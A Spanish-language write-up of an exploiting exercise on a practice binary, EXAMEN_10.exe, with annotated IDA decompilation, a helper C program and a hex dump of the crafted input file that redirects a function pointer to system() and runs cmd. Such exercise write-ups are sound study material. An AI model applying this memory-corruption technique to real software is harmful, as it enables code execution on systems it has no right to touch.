No me funcionaba con wine en linux porque verifica si argc == 2 y si ejecutás wine EXAMEN_10.exe 49
el argc vale 3, así que tuve que ejecutar el exploit en windows. En linux en vez de usar calc uso cmd porque calc no está disponible a nivel global.
El código que me generó el ida con algunas modificaciones
_DWORD *__thiscall this_106(_DWORD *this)
{
this[106] = "A ejecutar la calculadora de nuevo...\n";
return this;
}
int __cdecl check2(char *Destination)
{
strcat(Destination, *(Destination + 106));
// Tenemos que hacer que la longitud de Destination valga 56 ya tenemos 38 bytes de la cadena "A ejecutar la calculadora de nuevo...\n" y ahora tenemos que hacer que Destination tenga 18. 18+38=56.
// Para lograr eso tenemos que agregar un 0 en la posición 18 porque strcpy copia hasta donde hay un 0.
// Voy a ejecutar cmd porque wine no tiene calc.exe
if ( strlen(Destination) == 56 )
{
if ( Destination[4] == 'I' )
(*(Destination + 52))(Destination + 254);
if ( Destination[4] == 'P' )
(*(Destination + 53))(Destination + 254);
if ( Destination[4] == 'Q' )
// Este queremos que se ejecute porque en Destination[54] está el puntero a system y Destination[254] es igual a Buffer[30]
// Esto es lo mismo que system(Buffer[30])
(*(Destination + 54))(Destination + 254);
if ( Destination[4] == 'R' )
(*(Destination + 55))(Destination + 254);
}
return 0;
}
int __cdecl check(char *Destination, int a2)
{
// Acá le resta '1' al puntero a system, vamos a ver que significa 1 en hexa.
// 1 en hexadecimal = 31
// Entonces tenemos que hacer que v12 valga 49, no sé bien por qué
// system+49-'1' = system
Destination[54] = a2 - '1';
check2(Destination);
return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Destination[204]; // [esp+0h] [ebp-1B4h] BYREF
FILE *Stream; // [esp+CCh] [ebp-E8h]
int (*imprimir)(const char *const, ...); // [esp+D0h] [ebp-E4h]
int (*v7)(const char *const, ...); // [esp+D4h] [ebp-E0h]
int (*v8)(const char *const, ...); // [esp+D8h] [ebp-DCh]
int (*v9)(const char *const, ...); // [esp+DCh] [ebp-D8h]
char Buffer[200]; // [esp+E0h] [ebp-D4h] BYREF
const char *v11; // [esp+1A8h] [ebp-Ch]
int v12; // [esp+1ACh] [ebp-8h]
int v13; // [esp+1B0h] [ebp-4h]
this_106(Destination);
imprimir = printf;
v7 = printf;
v8 = printf;
v9 = printf;
printf(v11);
v13 = printf;
memset(Buffer, 0, sizeof(Buffer));
memset(Destination, 0, 200u);
// Carga el contenido del archivo en Stream
Stream = fopen("example.txt", "rb");
if ( !Stream )
{
imprimir("No se puede leer el archivo bye bye \n");
exit(1);
}
// De stream copia 200 bytes a Buffer
fread(Buffer, 200u, 1u, Stream);
// De buffer lo copia a Destination
strcpy(Destination, Buffer);
// Si hay un argumentos
if ( argc == 2 )
{
// Transforma a entero el 2do argumento
// v12 tiene que valer 31 entonces.
v12 = atoi(argv[1]);
// Acá suma el puntero a system con v12, no necesitamos v12 sólo queremos el puntero a system.
// v13 = system + 49
v13 = system + v12;
}
check(Destination, v13);
imprimir("\n");
// Buffer[30] = Destination[254]
imprimir(&Buffer[30]);
return 0;
}
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
// a = 61
// 1 = 31
printf("atoi(%s): %d\n",argv[1],atoi(argv[1]));
printf ("argc: %d\n",argc);
char a = 'a' - '1' + atoi(argv[1]);
printf("a = 61, 1 = 31\n");
printf("'%c'-'1'+atoi(%s): %x\n",'a',argv[1],a);
return 0;
}
00000000: 5151 5151 5151 5151 5151 5151 5151 5151 QQQQQQQQQQQQQQQQ
00000010: 5100 5151 5151 5151 5151 5151 5151 636d Q.QQQQQQQQQQQQcm
00000020: 64 d
Es muy parecido al otro sólo que verifica la cantidad de argumentos y tiene un puntero a system que le resta ‘1’ en char y tenés que sumarle 49 para recuperar la dirección del puntero a system.